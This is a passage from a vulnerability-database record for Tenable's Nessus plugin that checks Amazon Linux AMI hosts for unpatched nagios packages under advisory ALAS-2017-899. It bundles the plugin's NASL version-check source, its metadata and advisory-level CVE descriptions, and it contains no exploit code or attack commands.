ID ALA_ALAS-2017-899.NASL Type nessus Reporter This script is Copyright (C) 2017-2019 and is owned by Tenable, Inc. or an Affiliate thereof. Modified 2021-03-02T00:00:00
Description
Multiple off-by-one errors in Nagios Core 3.5.1, 4.0.2, and earlier,
and Icinga before 1.8.5, 1.9 before 1.9.4, and 1.10 before 1.10.2
allow remote authenticated users to obtain sensitive information from
process memory or cause a denial of service (crash) via a long string
in the last key value in the variable list to the process_cgivars
function in (1) avail.c, (2) cmd.c, (3) config.c, (4) extinfo.c, (5)
histogram.c, (6) notifications.c, (7) outages.c, (8) status.c, (9)
statusmap.c, (10) summary.c, and (11) trends.c in cgi/, which triggers
a heap-based buffer over-read.
Stack-based buffer overflow in the cmd_submitf function in cgi/cmd.c
in Nagios Core, possibly 4.0.3rc1 and earlier, and Icinga before
1.8.6, 1.9 before 1.9.5, and 1.10 before 1.10.3 allows remote
attackers to cause a denial of service (segmentation fault) via a long
message to cmd.cgi.
Various command-execution flaws were found in the Snoopy library
included with Nagios. These flaws allowed remote attackers to execute
arbitrary commands by manipulating Nagios HTTP headers.
A privilege escalation flaw was found in the way Nagios handled log
files. An attacker able to control the Nagios logging configuration
(the 'nagios' user/group) could use this flaw to elevate their
privileges to root.
Off-by-one error in the process_cgivars function in
contrib/daemonchk.c in Nagios Core 3.5.1, 4.0.2, and earlier allows
remote authenticated users to obtain sensitive information from
process memory or cause a denial of service (crash) via a long string
in the last key value in the variable list, which triggers a
heap-based buffer over-read.
rss-newsfeed.php in Nagios Core 3.4.4, 3.5.1, and earlier, when
MAGPIE_CACHE_ON is set to 1, allows local users to overwrite arbitrary
files via a symlink attack on /tmp/magpie_cache.
The _httpsrequest function (Snoopy/Snoopy.class.php) in Snoopy 1.2.3
and earlier, as used in (1) ampache, (2) libphp-snoopy, (3) mahara,
(4) mediamate, (5) opendb, (6) pixelpost, and possibly other products,
allows remote attackers to execute arbitrary commands via shell
metacharacters in https URLs.
#
# (C) Tenable Network Security, Inc.
#
# The descriptive text and package checks in this plugin were
# extracted from Amazon Linux AMI Security Advisory ALAS-2017-899.
#
include("compat.inc");
if (description)
{
script_id(103651);
script_version("3.4");
script_cvs_date("Date: 2019/04/10 16:10:16");
script_cve_id("CVE-2008-4796", "CVE-2008-7313", "CVE-2013-4214", "CVE-2013-7108", "CVE-2013-7205", "CVE-2014-1878", "CVE-2014-5008", "CVE-2014-5009", "CVE-2016-9566");
script_xref(name:"ALAS", value:"2017-899");
script_name(english:"Amazon Linux AMI : nagios (ALAS-2017-899)");
script_summary(english:"Checks rpm output for the updated packages");
script_set_attribute(
attribute:"synopsis",
value:"The remote Amazon Linux AMI host is missing a security update."
);
script_set_attribute(
attribute:"description",
value:
"Multiple off-by-one errors in Nagios Core 3.5.1, 4.0.2, and earlier,
and Icinga before 1.8.5, 1.9 before 1.9.4, and 1.10 before 1.10.2
allow remote authenticated users to obtain sensitive information from
process memory or cause a denial of service (crash) via a long string
in the last key value in the variable list to the process_cgivars
function in (1) avail.c, (2) cmd.c, (3) config.c, (4) extinfo.c, (5)
histogram.c, (6) notifications.c, (7) outages.c, (8) status.c, (9)
statusmap.c, (10) summary.c, and (11) trends.c in cgi/, which triggers
a heap-based buffer over-read.
Stack-based buffer overflow in the cmd_submitf function in cgi/cmd.c
in Nagios Core, possibly 4.0.3rc1 and earlier, and Icinga before
1.8.6, 1.9 before 1.9.5, and 1.10 before 1.10.3 allows remote
attackers to cause a denial of service (segmentation fault) via a long
message to cmd.cgi.
Various command-execution flaws were found in the Snoopy library
included with Nagios. These flaws allowed remote attackers to execute
arbitrary commands by manipulating Nagios HTTP headers.
A privilege escalation flaw was found in the way Nagios handled log
files. An attacker able to control the Nagios logging configuration
(the 'nagios' user/group) could use this flaw to elevate their
privileges to root.
Off-by-one error in the process_cgivars function in
contrib/daemonchk.c in Nagios Core 3.5.1, 4.0.2, and earlier allows
remote authenticated users to obtain sensitive information from
process memory or cause a denial of service (crash) via a long string
in the last key value in the variable list, which triggers a
heap-based buffer over-read.
rss-newsfeed.php in Nagios Core 3.4.4, 3.5.1, and earlier, when
MAGPIE_CACHE_ON is set to 1, allows local users to overwrite arbitrary
files via a symlink attack on /tmp/magpie_cache.
The _httpsrequest function (Snoopy/Snoopy.class.php) in Snoopy 1.2.3
and earlier, as used in (1) ampache, (2) libphp-snoopy, (3) mahara,
(4) mediamate, (5) opendb, (6) pixelpost, and possibly other products,
allows remote attackers to execute arbitrary commands via shell
metacharacters in https URLs."
);
script_set_attribute(
attribute:"see_also",
value:"https://alas.aws.amazon.com/ALAS-2017-899.html"
);
script_set_attribute(
attribute:"solution",
value:"Run 'yum update nagios' to update your system."
);
script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C");
script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H");
script_set_cvss3_temporal_vector("CVSS:3.0/E:P/RL:O/RC:C");
script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
script_set_attribute(attribute:"exploit_available", value:"true");
script_cwe_id(94);
script_set_attribute(attribute:"plugin_type", value:"local");
script_set_attribute(attribute:"cpe", value:"p-cpe:/a:amazon:linux:nagios");
script_set_attribute(attribute:"cpe", value:"p-cpe:/a:amazon:linux:nagios-common");
script_set_attribute(attribute:"cpe", value:"p-cpe:/a:amazon:linux:nagios-debuginfo");
script_set_attribute(attribute:"cpe", value:"p-cpe:/a:amazon:linux:nagios-devel");
script_set_attribute(attribute:"cpe", value:"cpe:/o:amazon:linux");
script_set_attribute(attribute:"patch_publication_date", value:"2017/10/03");
script_set_attribute(attribute:"plugin_publication_date", value:"2017/10/04");
script_end_attributes();
script_category(ACT_GATHER_INFO);
script_copyright(english:"This script is Copyright (C) 2017-2019 and is owned by Tenable, Inc. or an Affiliate thereof.");
script_family(english:"Amazon Linux Local Security Checks");
script_dependencies("ssh_get_info.nasl");
script_require_keys("Host/local_checks_enabled", "Host/AmazonLinux/release", "Host/AmazonLinux/rpm-list");
exit(0);
}
include("audit.inc");
include("global_settings.inc");
include("rpm.inc");
if (!get_kb_item("Host/local_checks_enabled")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);
release = get_kb_item("Host/AmazonLinux/release");
if (isnull(release) || !strlen(release)) audit(AUDIT_OS_NOT, "Amazon Linux");
os_ver = pregmatch(pattern: "^AL(A|\d)", string:release);
if (isnull(os_ver)) audit(AUDIT_UNKNOWN_APP_VER, "Amazon Linux");
os_ver = os_ver[1];
if (os_ver != "A")
{
if (os_ver == 'A') os_ver = 'AMI';
audit(AUDIT_OS_NOT, "Amazon Linux AMI", "Amazon Linux " + os_ver);
}
if (!get_kb_item("Host/AmazonLinux/rpm-list")) audit(AUDIT_PACKAGE_LIST_MISSING);
flag = 0;
if (rpm_check(release:"ALA", reference:"nagios-3.5.1-2.10.amzn1")) flag++;
if (rpm_check(release:"ALA", reference:"nagios-common-3.5.1-2.10.amzn1")) flag++;
if (rpm_check(release:"ALA", reference:"nagios-debuginfo-3.5.1-2.10.amzn1")) flag++;
if (rpm_check(release:"ALA", reference:"nagios-devel-3.5.1-2.10.amzn1")) flag++;
if (flag)
{
if (report_verbosity > 0) security_hole(port:0, extra:rpm_report_get());
else security_hole(0);
exit(0);
}
else
{
tested = pkg_tests_get();
if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);
else audit(AUDIT_PACKAGE_NOT_INSTALLED, "nagios / nagios-common / nagios-debuginfo / nagios-devel");
}
{"id": "ALA_ALAS-2017-899.NASL", "bulletinFamily": "scanner", "title": "Amazon Linux AMI : nagios (ALAS-2017-899)", "description": "Multiple off-by-one errors in Nagios Core 3.5.1, 4.0.2, and earlier,\nand Icinga before 1.8.5, 1.9 before 1.9.4, and 1.10 before 1.10.2\nallow remote authenticated users to obtain sensitive information from\nprocess memory or cause a denial of service (crash) via a long string\nin the last key value in the variable list to the process_cgivars\nfunction in (1) avail.c, (2) cmd.c, (3) config.c, (4) extinfo.c, (5)\nhistogram.c, (6) notifications.c, (7) outages.c, (8) status.c, (9)\nstatusmap.c, (10) summary.c, and (11) trends.c in cgi/, which triggers\na heap-based buffer over-read.\n\nStack-based buffer overflow in the cmd_submitf function in cgi/cmd.c\nin Nagios Core, possibly 4.0.3rc1 and earlier, and Icinga before\n1.8.6, 1.9 before 1.9.5, and 1.10 before 1.10.3 allows remote\nattackers to cause a denial of service (segmentation fault) via a long\nmessage to cmd.cgi.\n\nVarious command-execution flaws were found in the Snoopy library\nincluded with Nagios. These flaws allowed remote attackers to execute\narbitrary commands by manipulating Nagios HTTP headers.\n\nA privilege escalation flaw was found in the way Nagios handled log\nfiles. An attacker able to control the Nagios logging configuration\n(the 'nagios' user/group) could use this flaw to elevate their\nprivileges to root.\n\nOff-by-one error in the process_cgivars function in\ncontrib/daemonchk.c in Nagios Core 3.5.1, 4.0.2, and earlier allows\nremote authenticated users to obtain sensitive information from\nprocess memory or cause a denial of service (crash) via a long string\nin the last key value in the variable list, which triggers a\nheap-based buffer over-read.\n\nrss-newsfeed.php in Nagios Core 3.4.4, 3.5.1, and earlier, when\nMAGPIE_CACHE_ON is set to 1, allows local users to overwrite arbitrary\nfiles via a symlink attack on /tmp/magpie_cache.\n\nThe _httpsrequest function (Snoopy/Snoopy.class.php) in Snoopy 1.2.3\nand earlier, as used in (1) ampache, (2) libphp-snoopy, (3) mahara,\n(4) mediamate, (5) opendb, (6) pixelpost, and possibly other products,\nallows remote attackers to execute arbitrary commands via shell\nmetacharacters in https URLs.", "published": "2017-10-04T00:00:00", "modified": "2021-03-02T00:00:00", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}, "href": "https://www.tenable.com/plugins/nessus/103651", "reporter": "This script is Copyright (C) 2017-2019 and is owned by Tenable, Inc. or an Affiliate thereof.", "references": ["https://alas.aws.amazon.com/ALAS-2017-899.html"], "cvelist": ["CVE-2013-4214", "CVE-2016-9566", "CVE-2014-5009", "CVE-2008-4796", "CVE-2008-7313", "CVE-2014-1878", "CVE-2013-7205", "CVE-2014-5008", "CVE-2013-7108"], "type": "nessus", "lastseen": "2021-03-01T01:22:52", "edition": 27, "viewCount": 18, "enchantments": {"dependencies": {"references": [{"type": "amazon", "idList": ["ALAS-2017-899"]}, {"type": "cve", "idList": ["CVE-2013-7205", "CVE-2014-5009", "CVE-2008-4796", "CVE-2013-4214", "CVE-2013-7108", "CVE-2016-9566", "CVE-2014-5008", "CVE-2014-1878", "CVE-2008-7313"]}, {"type": "ubuntu", "idList": ["USN-3253-1", "USN-3253-2"]}, {"type": "openvas", "idList": ["OPENVAS:1361412562310702956", "OPENVAS:1361412562310891615", "OPENVAS:860245", "OPENVAS:860079", "OPENVAS:1361412562310843202", "OPENVAS:1361412562310843124", "OPENVAS:61799", "OPENVAS:860342", "OPENVAS:702956", "OPENVAS:1361412562310121309"]}, {"type": "nessus", "idList": ["MANDRIVA_MDVSA-2014-004.NASL", "DEBIAN_DLA-60.NASL", "FREEBSD_PKG_BA04A3737D2011E3899200132034B086.NASL", "GENTOO_GLSA-201702-26.NASL", "UBUNTU_USN-3253-1.NASL", "UBUNTU_USN-3253-2.NASL", "GENTOO_GLSA-201412-23.NASL", "DEBIAN_DLA-1615.NASL", "DEBIAN_DSA-2956.NASL", "DEBIAN_DLA-357.NASL"]}, {"type": "redhat", "idList": ["RHSA-2017:0212", "RHSA-2017:0211", "RHSA-2017:0214", "RHSA-2017:0213"]}, {"type": "debian", "idList": ["DEBIAN:DLA-60-1:5B1EB", "DEBIAN:DLA-357-1:D7359", "DEBIAN:DLA-461-1:5370A", "DEBIAN:DSA-2956-1:6D0D0", "DEBIAN:DSA-3248-1:D3C86", "DEBIAN:DLA-1615-1:D4F7C"]}, {"type": "seebug", "idList": ["SSV:92575"]}, {"type": "gentoo", "idList": ["GLSA-201412-23", "GLSA-201702-26", "GLSA-201612-51"]}, {"type": "freebsd", "idList": ["BA04A373-7D20-11E3-8992-00132034B086"]}, {"type": "securityvulns", "idList": ["SECURITYVULNS:DOC:30248", "SECURITYVULNS:VULN:14434", "SECURITYVULNS:DOC:31982", "SECURITYVULNS:DOC:30630", "SECURITYVULNS:DOC:30828"]}, {"type": "exploitdb", "idList": ["EDB-ID:40920", "EDB-ID:38882"]}, {"type": "threatpost", "idList": ["THREATPOST:FF116863B5F150527644B5466CE96667"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:140169", "PACKETSTORM:127352"]}, {"type": "fedora", "idList": ["FEDORA:03C1920876B", "FEDORA:5FA58208D69", "FEDORA:A7D1C208DAD", "FEDORA:BB65B208E31", "FEDORA:0C0FC208485", "FEDORA:AC75620876F", "FEDORA:04197208D75", "FEDORA:8EF9620874A", "FEDORA:02A37208D57"]}, {"type": "jvn", "idList": ["JVN:20502807"]}, {"type": "zdt", "idList": ["1337DAY-ID-26530"]}, {"type": "myhack58", "idList": ["MYHACK58:62201682159"]}, {"type": "suse", "idList": ["OPENSUSE-SU-2017:0146-1"]}], "modified": "2021-03-01T01:22:52", "rev": 2}, "score": {"value": 9.0, "vector": "NONE", "modified": "2021-03-01T01:22:52", "rev": 2}, "vulnersScore": 9.0}, "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were\n# extracted from Amazon Linux AMI Security Advisory ALAS-2017-899.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(103651);\n script_version(\"3.4\");\n script_cvs_date(\"Date: 2019/04/10 16:10:16\");\n\n script_cve_id(\"CVE-2008-4796\", \"CVE-2008-7313\", \"CVE-2013-4214\", \"CVE-2013-7108\", \"CVE-2013-7205\", \"CVE-2014-1878\", \"CVE-2014-5008\", \"CVE-2014-5009\", \"CVE-2016-9566\");\n script_xref(name:\"ALAS\", value:\"2017-899\");\n\n script_name(english:\"Amazon Linux AMI : nagios (ALAS-2017-899)\");\n script_summary(english:\"Checks rpm output for the updated packages\");\n\n script_set_attribute(\n attribute:\"synopsis\", \n value:\"The remote Amazon Linux AMI host is missing a security update.\"\n );\n script_set_attribute(\n attribute:\"description\", \n value:\n\"Multiple off-by-one errors in Nagios Core 3.5.1, 4.0.2, and earlier,\nand Icinga before 1.8.5, 1.9 before 1.9.4, and 1.10 before 1.10.2\nallow remote authenticated users to obtain sensitive information from\nprocess memory or cause a denial of service (crash) via a long string\nin the last key value in the variable list to the process_cgivars\nfunction in (1) avail.c, (2) cmd.c, (3) config.c, (4) extinfo.c, (5)\nhistogram.c, (6) notifications.c, (7) outages.c, (8) status.c, (9)\nstatusmap.c, (10) summary.c, and (11) trends.c in cgi/, which triggers\na heap-based buffer over-read.\n\nStack-based buffer overflow in the cmd_submitf function in cgi/cmd.c\nin Nagios Core, possibly 4.0.3rc1 and earlier, and Icinga before\n1.8.6, 1.9 before 1.9.5, and 1.10 before 1.10.3 allows remote\nattackers to cause a denial of service (segmentation fault) via a long\nmessage to cmd.cgi.\n\nVarious command-execution flaws were found in the Snoopy library\nincluded with Nagios. These flaws allowed remote attackers to execute\narbitrary commands by manipulating Nagios HTTP headers.\n\nA privilege escalation flaw was found in the way Nagios handled log\nfiles. An attacker able to control the Nagios logging configuration\n(the 'nagios' user/group) could use this flaw to elevate their\nprivileges to root.\n\nOff-by-one error in the process_cgivars function in\ncontrib/daemonchk.c in Nagios Core 3.5.1, 4.0.2, and earlier allows\nremote authenticated users to obtain sensitive information from\nprocess memory or cause a denial of service (crash) via a long string\nin the last key value in the variable list, which triggers a\nheap-based buffer over-read.\n\nrss-newsfeed.php in Nagios Core 3.4.4, 3.5.1, and earlier, when\nMAGPIE_CACHE_ON is set to 1, allows local users to overwrite arbitrary\nfiles via a symlink attack on /tmp/magpie_cache.\n\nThe _httpsrequest function (Snoopy/Snoopy.class.php) in Snoopy 1.2.3\nand earlier, as used in (1) ampache, (2) libphp-snoopy, (3) mahara,\n(4) mediamate, (5) opendb, (6) pixelpost, and possibly other products,\nallows remote attackers to execute arbitrary commands via shell\nmetacharacters in https URLs.\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://alas.aws.amazon.com/ALAS-2017-899.html\"\n );\n script_set_attribute(\n attribute:\"solution\", \n value:\"Run 'yum update nagios' to update your system.\"\n );\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:POC/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:P/RL:O/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n script_cwe_id(94);\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:amazon:linux:nagios\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:amazon:linux:nagios-common\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:amazon:linux:nagios-debuginfo\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:amazon:linux:nagios-devel\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:amazon:linux\");\n\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2017/10/03\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2017/10/04\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2017-2019 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n script_family(english:\"Amazon Linux Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/AmazonLinux/release\", \"Host/AmazonLinux/rpm-list\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"rpm.inc\");\n\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\n\nrelease = get_kb_item(\"Host/AmazonLinux/release\");\nif (isnull(release) || !strlen(release)) audit(AUDIT_OS_NOT, \"Amazon Linux\");\nos_ver = pregmatch(pattern: \"^AL(A|\\d)\", string:release);\nif (isnull(os_ver)) audit(AUDIT_UNKNOWN_APP_VER, \"Amazon Linux\");\nos_ver = os_ver[1];\nif (os_ver != \"A\")\n{\n if (os_ver == 'A') os_ver = 'AMI';\n audit(AUDIT_OS_NOT, \"Amazon Linux AMI\", \"Amazon Linux \" + os_ver);\n}\n\nif (!get_kb_item(\"Host/AmazonLinux/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\n\nflag = 0;\nif (rpm_check(release:\"ALA\", reference:\"nagios-3.5.1-2.10.amzn1\")) flag++;\nif (rpm_check(release:\"ALA\", reference:\"nagios-common-3.5.1-2.10.amzn1\")) flag++;\nif (rpm_check(release:\"ALA\", reference:\"nagios-debuginfo-3.5.1-2.10.amzn1\")) flag++;\nif (rpm_check(release:\"ALA\", reference:\"nagios-devel-3.5.1-2.10.amzn1\")) flag++;\n\nif (flag)\n{\n if (report_verbosity > 0) security_hole(port:0, extra:rpm_report_get());\n else security_hole(0);\n exit(0);\n}\nelse\n{\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"nagios / nagios-common / nagios-debuginfo / nagios-devel\");\n}\n", "naslFamily": "Amazon Linux Local Security Checks", "pluginID": "103651", "cpe": ["p-cpe:/a:amazon:linux:nagios-common", "p-cpe:/a:amazon:linux:nagios", "p-cpe:/a:amazon:linux:nagios-devel", "p-cpe:/a:amazon:linux:nagios-debuginfo", "cpe:/o:amazon:linux"], "scheme": null, "cvss3": {"score": 9.8, "vector": "AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"}}
{"amazon": [{"lastseen": "2020-11-10T12:37:37", "bulletinFamily": "unix", "cvelist": ["CVE-2013-4214", "CVE-2016-9566", "CVE-2014-5009", "CVE-2008-4796", "CVE-2008-7313", "CVE-2014-1878", "CVE-2013-7205", "CVE-2014-5008", "CVE-2013-7108"], "description": "**Issue Overview:**\n\nMultiple off-by-one errors in Nagios Core 3.5.1, 4.0.2, and earlier, and Icinga before 1.8.5, 1.9 before 1.9.4, and 1.10 before 1.10.2 allow remote authenticated users to obtain sensitive information from process memory or cause a denial of service (crash) via a long string in the last key value in the variable list to the process_cgivars function in (1) avail.c, (2) cmd.c, (3) config.c, (4) extinfo.c, (5) histogram.c, (6) notifications.c, (7) outages.c, (8) status.c, (9) statusmap.c, (10) summary.c, and (11) trends.c in cgi/, which triggers a heap-based buffer over-read.\n\nStack-based buffer overflow in the cmd_submitf function in cgi/cmd.c in Nagios Core, possibly 4.0.3rc1 and earlier, and Icinga before 1.8.6, 1.9 before 1.9.5, and 1.10 before 1.10.3 allows remote attackers to cause a denial of service (segmentation fault) via a long message to cmd.cgi.\n\nVarious command-execution flaws were found in the Snoopy library included with Nagios. These flaws allowed remote attackers to execute arbitrary commands by manipulating Nagios HTTP headers.\n\nA privilege escalation flaw was found in the way Nagios handled log files. An attacker able to control the Nagios logging configuration (the \"nagios\" user/group) could use this flaw to elevate their privileges to root.\n\nOff-by-one error in the process_cgivars function in contrib/daemonchk.c in Nagios Core 3.5.1, 4.0.2, and earlier allows remote authenticated users to obtain sensitive information from process memory or cause a denial of service (crash) via a long string in the last key value in the variable list, which triggers a heap-based buffer over-read.\n\nrss-newsfeed.php in Nagios Core 3.4.4, 3.5.1, and earlier, when MAGPIE_CACHE_ON is set to 1, allows local users to overwrite arbitrary files via a symlink attack on /tmp/magpie_cache.\n\nThe _httpsrequest function (Snoopy/Snoopy.class.php) in Snoopy 1.2.3 and earlier, as used in (1) ampache, (2) libphp-snoopy, (3) mahara, (4) mediamate, (5) opendb, (6) pixelpost, and possibly other products, allows remote attackers to execute arbitrary commands via shell metacharacters in https URLs.\n\n \n**Affected Packages:** \n\n\nnagios\n\n \n**Issue Correction:** \nRun _yum update nagios_ to update your system. \n\n\n \n\n\n**New Packages:**\n \n \n i686: \n nagios-devel-3.5.1-2.10.amzn1.i686 \n nagios-common-3.5.1-2.10.amzn1.i686 \n nagios-debuginfo-3.5.1-2.10.amzn1.i686 \n nagios-3.5.1-2.10.amzn1.i686 \n \n src: \n nagios-3.5.1-2.10.amzn1.src \n \n x86_64: \n nagios-3.5.1-2.10.amzn1.x86_64 \n nagios-common-3.5.1-2.10.amzn1.x86_64 \n nagios-debuginfo-3.5.1-2.10.amzn1.x86_64 \n nagios-devel-3.5.1-2.10.amzn1.x86_64 \n \n \n", "edition": 3, "modified": "2017-10-03T11:00:00", "published": "2017-10-03T11:00:00", "id": "ALAS-2017-899", "href": "https://alas.aws.amazon.com/ALAS-2017-899.html", "title": "Important: nagios", "type": "amazon", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "cve": [{"lastseen": "2021-02-02T05:35:21", "description": "The _httpsrequest function in Snoopy allows remote attackers to execute arbitrary commands. NOTE: this issue exists dues to an incomplete fix for CVE-2008-4796.", "edition": 6, "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 5.9}, "published": "2017-03-31T16:59:00", "title": "CVE-2008-7313", "type": "cve", "cwe": ["CWE-77"], "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2008-7313"], "modified": "2017-04-04T17:19:00", "cpe": ["cpe:/a:redhat:openstack:6.0", "cpe:/a:redhat:openstack:5.0", "cpe:/a:nagios:nagios:4.2.3", "cpe:/a:snoopy:snoopy:-"], "id": "CVE-2008-7313", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2008-7313", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "cpe23": ["cpe:2.3:a:redhat:openstack:5.0:*:*:*:*:*:*:*", "cpe:2.3:a:nagios:nagios:4.2.3:*:*:*:*:*:*:*", "cpe:2.3:a:redhat:openstack:6.0:*:*:*:*:*:*:*", "cpe:2.3:a:snoopy:snoopy:-:*:*:*:*:*:*:*"]}, {"lastseen": "2021-02-02T05:35:18", "description": "The _httpsrequest function (Snoopy/Snoopy.class.php) in Snoopy 1.2.3 and earlier, as used in (1) ampache, (2) libphp-snoopy, (3) mahara, (4) mediamate, (5) opendb, (6) pixelpost, and possibly other products, allows remote attackers to execute arbitrary commands via shell metacharacters in https URLs.", "edition": 6, "cvss3": {}, "published": "2008-10-30T20:56:00", "title": "CVE-2008-4796", "type": "cve", "cwe": ["CWE-94"], "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2008-4796"], "modified": "2018-10-11T20:52:00", "cpe": ["cpe:/a:andrei_zmievski:snoopy:1.2.2", "cpe:/a:andrei_zmievski:snoopy:0.92", "cpe:/a:andrei_zmievski:snoopy:1.0", "cpe:/a:andrei_zmievski:snoopy:1.01", "cpe:/a:andrei_zmievski:snoopy:0.93", "cpe:/a:andrei_zmievski:snoopy:1.2.3", "cpe:/a:andrei_zmievski:snoopy:0.91", "cpe:/a:andrei_zmievski:snoopy:1.2.1", "cpe:/a:andrei_zmievski:snoopy:0.94", "cpe:/a:andrei_zmievski:snoopy:1.2"], "id": "CVE-2008-4796", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2008-4796", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}, "cpe23": ["cpe:2.3:a:andrei_zmievski:snoopy:0.94:*:*:*:*:*:*:*", "cpe:2.3:a:andrei_zmievski:snoopy:1.2.2:*:*:*:*:*:*:*", "cpe:2.3:a:andrei_zmievski:snoopy:1.2.3:*:*:*:*:*:*:*", "cpe:2.3:a:andrei_zmievski:snoopy:0.93:*:*:*:*:*:*:*", "cpe:2.3:a:andrei_zmievski:snoopy:1.2:*:*:*:*:*:*:*", "cpe:2.3:a:andrei_zmievski:snoopy:1.2.1:*:*:*:*:*:*:*", "cpe:2.3:a:andrei_zmievski:snoopy:0.91:*:*:*:*:*:*:*", "cpe:2.3:a:andrei_zmievski:snoopy:0.92:*:*:*:*:*:*:*", "cpe:2.3:a:andrei_zmievski:snoopy:1.0:*:*:*:*:*:*:*", "cpe:2.3:a:andrei_zmievski:snoopy:1.01:*:*:*:*:*:*:*"]}, {"lastseen": "2021-02-02T06:28:14", "description": "base/logging.c in Nagios Core before 4.2.4 allows local users with access to an account in the nagios group to gain root privileges via a symlink attack on the log file. NOTE: this can be leveraged by remote attackers using CVE-2016-9565.", "edition": 6, "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 7.8, "privilegesRequired": "LOW", "vectorString": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 5.9}, "published": "2016-12-15T22:59:00", "title": "CVE-2016-9566", "type": "cve", "cwe": ["CWE-59", "CWE-264"], "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 7.2, "vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2016-9566"], "modified": "2018-12-25T11:29:00", "cpe": ["cpe:/a:nagios:nagios:4.2.3"], "id": "CVE-2016-9566", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2016-9566", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}, "cpe23": 